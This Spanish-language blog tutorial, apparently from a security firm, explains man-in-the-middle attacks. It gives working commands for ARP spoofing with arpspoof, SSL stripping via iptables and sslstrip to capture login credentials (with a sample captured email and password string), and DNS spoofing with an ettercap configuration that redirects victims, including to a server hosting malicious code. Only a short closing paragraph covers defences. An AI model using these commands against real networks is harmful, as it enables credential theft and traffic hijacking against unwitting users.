info@goblinsoft.org 54-11-51992787
Man in the Middle and SSLStrip
October 23, 2015
0

Para comenzar a trabajar en el uso de SSLStrip, vamos a tener que entender primero como funciona un ataque Man in the Middle o MitM.

Man In The Middle

Un ataque MitM tiene como objetivo el capturar o modificar información entre un Emisor y un Receptor. Esto se logra desde la PC del atacante efectuando modificaciones en la PC de la víctima en la tabla ARP donde figuran las IPs asociadas a las MACs de los equipos que tuvo comunicación la pc de la víctima. De esta forma cambiamos la MAC del Gateway por la de la PC del atacante. Este ataque se conoce como ARP Spoofing.

mitm

 

Para comprender mejor como funciona, vamos a dividir MitM en dos clases. Vale aclarar que sin importar la clase para La victima el ataque es completamente transparente.

MitM Pasivo

Es un ataque en el cual solo se hace lectura/guardado de la información capturada.Un ejemplo de esto esSSLStrip el cual explicaremos a continuación.

Requisitos:

  • Ettercap
  • IPTABLES
  • Dsniff
  • Python y python-twisted-web
  • SSLStrip (http://www.thoughtcrime.org/software/sslstrip/)

SSLStrip sirve como una especie de Proxy transparente interceptando la consulta por HTTP de la PC víctima y efectuando el mismo la consulta al Host remoto para de esta forma iniciar la comunicación vía HTTPS contra el Host remoto y por HTTP contra la PC víctima.

sslstrip

Para iniciar el ataque vamos a ejecutar los siguientes comandos:

  • echo 1 > /proc/sys/net/ipv4/ip_forward
  • arpspoof -i (interface) -t (IP victima) (GW)
  • sudo iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 443
  • sslstrip -l 443 -w data

En el último comando donde especificamos con el -w el archivo a crear, veremos la información obtenida por el programa SSLStrip y dependiendo de como sea el login de la web obtendremos la info. A partir de este momento deberemos ingresar a las webs sin HTTPS colocando solamente en el navegador por ejemplo linkedin.com y veremos que no figura el simbolo de SSL y al dar login en el archivo “data generado” veremos lo siguiente:

app=&session_key=test%40asd.com&session_password=123456&signin

Esos son los datos que utilicé, ustedes deberían ver el mail y password de prueba que hayan puesto para hacer login.

NOTA: Recuerden siempre colocar la URL fuera de SSL como linkedin.com, facebook.com, etc.

MitM Activo

Es un ataque donde se ejecutan modificaciones en los paquetes que pasan por la PC del atacante. Un ejemplo de esto es DNS Spoof.

Para ejecutar este ataque necesitamos tener Ettercap instalado (sudo apt-get install ettercat-texty-only -y) y dependiendo de hacia donde queramos efectuar el cambio en los DNS un Apache instalado con contenido infectado. En algunos casos se levanta un Apache local con código malicioso para dirigir a la infección a la víctima.

Ya con esto aclarado vamos a cargar una web en nuestro Apache en caso de tenerlo local y de solo querer hacer una prueba rápida, pueden redireccionar a cualquier otro sitio.

Editamos el archivo “/etc/ettercap/etter.dns” y colocamos el registro DNS que queremos modificar:

################################
# microsoft sucks ;)
# redirect it to www.linux.org
#
google.com      A       192.168.50.103
microsoft.com      A   198.182.196.56
*.microsoft.com    A   198.182.196.56
www.microsoft.com  PTR 198.182.196.56      # Wildcards in PTR are not allowed

Guardamos y ejecutamos el ataque en cuestión con el siguiente comando:

sudo ettercap -T -q -i (interface atacante) -P dns_spoof -M arp /(ip de la victima)///

Reemplazamos obviamente donde dice (interface atacante) por nuestra interface eth0, wlan0 o la que sea y en (ip de la víctima) por la dirección IP que vamos a atacar.

dns_spoof

Al hacer ping desde la PC víctima, veremos que responde la IP que nosotros cargamos en el DNS de nuestro Ettercap.

dns_spoof
Para prevenir este tipo de ataques basta con una configuración a nivel Firewall (para hacer las pruebas si tienen firewall hay que desactivarlo) y el uso de plugins en navegadores que verifiquen siempre se utilice HTTPS como es el caso de “https everywhere” y principalmente en lugar de utilizar ARP dinámico utilizar ARP estático.

De esta forma terminamos de ver MitM y SSLStrip, cualquier duda pueden dejarnos un comentario.